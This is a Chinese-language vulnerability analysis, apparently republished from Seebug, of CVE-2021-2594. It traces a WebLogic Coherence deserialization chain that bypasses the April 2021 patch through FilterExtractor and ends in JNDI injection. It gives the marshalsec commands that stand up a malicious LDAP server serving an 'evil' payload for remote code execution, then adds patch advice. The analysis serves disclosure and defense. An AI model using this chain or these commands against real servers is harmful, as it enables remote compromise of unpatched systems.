作者:kejaly@白帽匯安全研究院
校對:r4v3zn@白帽匯安全研究院

前言

在2021年7月21日,Oracle官方 發布了一系列安全更新。涉及旗下產品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 個漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm 。其中,Oracle WebLogic Server 產品中有高危漏洞,漏洞編號為 CVE-2021-2594,CVSS 評分9.8分,影響多個 WebLogic 版本,且漏洞利用難度低,可基于 T3 和 IIOP 協議執行遠程代碼。

image-20210807174006932

經過分析,此次漏洞結合了 CVE-2020-14756 和 CVE-2020-14825 反序列化鏈,利用FilterExtractor 這個類來對4月份補丁進行繞過。

補丁回顧

在4月份補丁中,對 ExternalizableHelper 中的 readExternalizable 做了修改,增加了對傳入的 DataInput 判斷,如果是 ObjectInputStream 類型就會調用 checkObjectInputFilter 函數進行過濾。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 來造成 RCE 的方法已經行不通了。

image-20210731200401261

調試環境

本文基于 win7 虛擬機 + Weblogic 12.1.4 版本 + jdk 8u181 進行研究分析測試

修改目錄 user_project/domains/base_domain/bin 目錄中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true

image-20210808124527849

拷貝 Oracle_Home 目錄下所有文件至調試目錄,將 \coherence\lib\oracle_common\modules 目錄下所有文件添加到 Libraries:

image-20210808143219244

配置 idea 中 jdk 版本與虛擬機中運行的 weblogic jdk 版本保持一致。

添加 remote 調試:

image-20210808130051384

漏洞利用

該漏洞主要是因為 FilterExtractorreadExternal 方法中會直接 new 一個 MethodAttributeAccessor 對象,使得生成 MethodAttributeAccessor的時候不會受到黑名單的限制,來對4月份的補丁進行繞過。

FilterExtractor 類具有如下特征:

1.FilterExtractor 實現了 ExternalizableLite 接口,重寫了 readExternal 方法:

image-20210731225455441

image-20210731224853652

readExternal 會調用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

image-20210731225350786

可以看到會 new 一個 MethodAttributeAccessor 對象,然后根據 DataInput 賦值它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 屬性(這就導致這三個屬性是可控的)。

2.FilterExtractorextract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 的調用。

image-20210731224758737

熟悉 coherence 組件的漏洞的朋友應該知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject() 來實現任意無參方法的調用的。

image-20210802114734096

雖然 MethodAttributeAccessor 已經加入到了黑名單,但是在上面提到的 readExternal 方法中恰好直接 new 了一個 MethodAttributeAccessor 對象,也就是說不是通過反序列化得到 MethodAttributeAccessor 對象,自然也就不受黑名單的影響。

調用鏈

完整調用鏈如下:

image-20210808155719656

image-20210808155731531

漏洞分析

根據構造的 poc ,我們首先在 AttributeHolder 類的 readExternal方法中打上斷點,另一邊則運行我們的 poc ,成功斷下:

image-20210808140022295

步入,會調用到 com.tangosol.util.ExternalizableHelper 中的 readObject 方法:

image-20210808131237302

步入,最后會進入到 com.tangosol.util.ExternalizableHelper中的 readObjectInternal 方法中調用 readExternalizableLite 方法:

image-20210808131451279

image-20210808131440537

步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先會調用 loadClass 去加載類,然后調用無參構造函數實例化一個對象,這里個加載的類是 com.tangosol.util.aggregator.TopNAggregator$PartialResult

image-20210808140620204

image-20210808140805886

隨后會調用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 類的 readExternal 方法:

image-20210808140835192

步入,會再次調用 com.tangosol.util.ExternalizableHelper.readObject 方法來讀取一個對象并且賦值到 this.m_comparator 中,

image-20210808141029972

步入,之后會再次調用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于這次讀取的 sClassoracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以會實例化一個 FilterExtractor 對象,然后調用它的 readExternal 方法:

image-20210808142024469

image-20210808142214228

步入 ,來到 FilterExtractorreadExteral 中,會調用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

image-20210808143603175

步入,會 new 一個 MethodAttributeAccessor 對象,并且調用 com.tangosol.util.SerializationHelper#readObject 方法給 MethodAttributeAccessor 對象的 attributeName , getMethodNamesetMethodName 這三個屬性賦值:

image-20210808143801656

賦值之后的結果為:

image-20210808144104145

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 類的 readExternal 方法中,this.m_comparator 變成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 對象:

image-20210808144402894

image-20210808144327322

接著在 182 行,會調用 this.instantiateInternalMap(this.m_comparator) 方法,步入,會把 FilterExtractor再封裝到 WrapperCompator 中,然后傳入 TreeMap的構造函數,實例化一個 TreeMap 對象并且返回:

image-20210808141502913

image-20210808141550888

186 行,調用 this.add 方法,這里 ExternalizableHelper.readObject(in)返回的是 JdbcRowSetImpl 對象

image-20210808144613713

image-20210808145429530

image-20210808145535391

接著步入 super.add 方法:

image-20210808145715414

然后會調用 TreeMap.put 方法,添加傳入的 JdbcRowSetImpl 對象,最后會來到 com.tangosol.util.WrapperComparator#compare 方法并觸發 this.f_comparator.compare 方法, this.f_comparator 正是之前傳入的 FilterExtractor 對象:

image-20210808145854481

image-20210808150025202

步入,會調用 com.tangosol.util.extractor#compare 方法,這個方法中又會調用到 this.extract 方法,也就是會調用 FilterExtractor#extract方法,進而調用 this.attributeAccessorinitializeAttributes 方法, 而此時的 this.attributeAccssorMethodAttributeAccessor 對象,所以會調用 MethodAttributeAccessor#initializeAttributes 方法:

image-20210808150355702

image-20210808150607874

MethodAttributeAccessor 中的 initializeAttributes 方法中首先會調用 this.setGetMethod 方法來設置 MethodAttributeAccessorgetMethod

image-20210808150900913

其中 Helper.getDeclaredMethod 方法流程如下,是通過傳入的類,方法名,以及參數類型來得到對應 classMethod

image-20210808151640146

image-20210808151652788

image-20210808151710584

此時由于 theJavaClasscom.sun.rowset.JdbcRowSetImpl, this.getMethodName"prepare" ,所以第一次得到的 prepare 方法:

image-20210808152025322

image-20210808151846383

image-20210808152752546

與 CVE-2020-14825 的反序列化流程不同的是, 因為在 initializeAttributes 的時候,我們不能再通過控制 isWriteOnly 屬性為 true ,所以會進入到下面這個 if 分支里面去:

image-20210808152621203

會先調用 this.getSetMethodParameterTypes 得到 this.getGetMethod 屬性代表的方法的返回值:

image-20210808152901259

image-20210808152930826

this.getGetMethod 在上一步賦值為了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException

image-20210808152752546

所以這里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement類型:

image-20210808153417492

然后調用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就會得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。

initializeAttributes 結束后 MethodAttributeAccessor的屬性值:

image-20210808151526352

接著,回到 FilterExtractor#extract 方法中,會繼續調用 this.attributeAccessor.getAttributeValueFromObject 也就是調用 MethodAttributeAccessor.getAttributeValueFromObject 方法:

image-20210808154424927

步入:

image-20210808154531032

步入,會利用反射調用方法:

image-20210808154635155

此時 this.getMethodprotected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLExceptionabObjectJbbcRoeSetImpl

image-20210808154732164

這就導致了 jndi 注入的產生:

image-20210808155204288

image-20210808155230255

image-20210808155304593

我們在本地使用 marshalsec 搭建惡意 jndi 服務端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server

成功 RCE:

image-20210808155635821

jndi 版本問題

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被設置為false,所以此 ldap + jndi 導致 RCE 的方法失效。

10.3.6.0 問題image-20210731232046827

在使用基于 TopNAggregator.PartialResult 的 poc 對官網說的版本進行復現的時候,發現 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator 這兩個類:

image-20210731210430975

缺少 SortedBag

image-20210731210551756

缺少 TopNAggregator

image-20210731210604714

weblogic 版本問題

使用不同 weblogic 版本的 jar 包對不同版本的 weblogic 進行測試,經過測試研究發現以下情況:

jar 版本 weblogic 版本 成功情況
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失敗
12.1.3.0.0 12.2.1.4.0 失敗
12.1.3.0.0 14.1.1.0.0 失敗
12.2.1.3.0 12.1.3.0.0 失敗
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 成功
12.2.1.3.0 14.1.1.0.0 成功
12.2.1.4.0 12.1.3.0.0 失敗
12.2.1.4.0 12.2.1.3.0 成功
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.1.3.0.0 失敗
14.1.1.0.0 12.2.1.3.0 成功
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

7月份補丁影響

打了7月份補丁之后,會報錯:

image-20210810163347804

原因是在 WebLogicFilterConfig 類的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 這個包:

image-20210810184055290

FilterExtractor 類正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以導致被黑名單攔截了下來。

修復建議

通用修補建議

Oracle官方已經發布補丁,及時進行更新:https://www.oracle.com/security-alerts/cpujul2021.html

Weblogic 臨時修補建議

  1. 如果不依賴 T3協議進行 JVM通信,可禁用 T3協議。
  2. 如果不依賴 IIOP協議進行 JVM通信,可禁用 IIOP協議。

參考

https://www.cnblogs.com/potatsoSec/p/15062094.html

https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1684/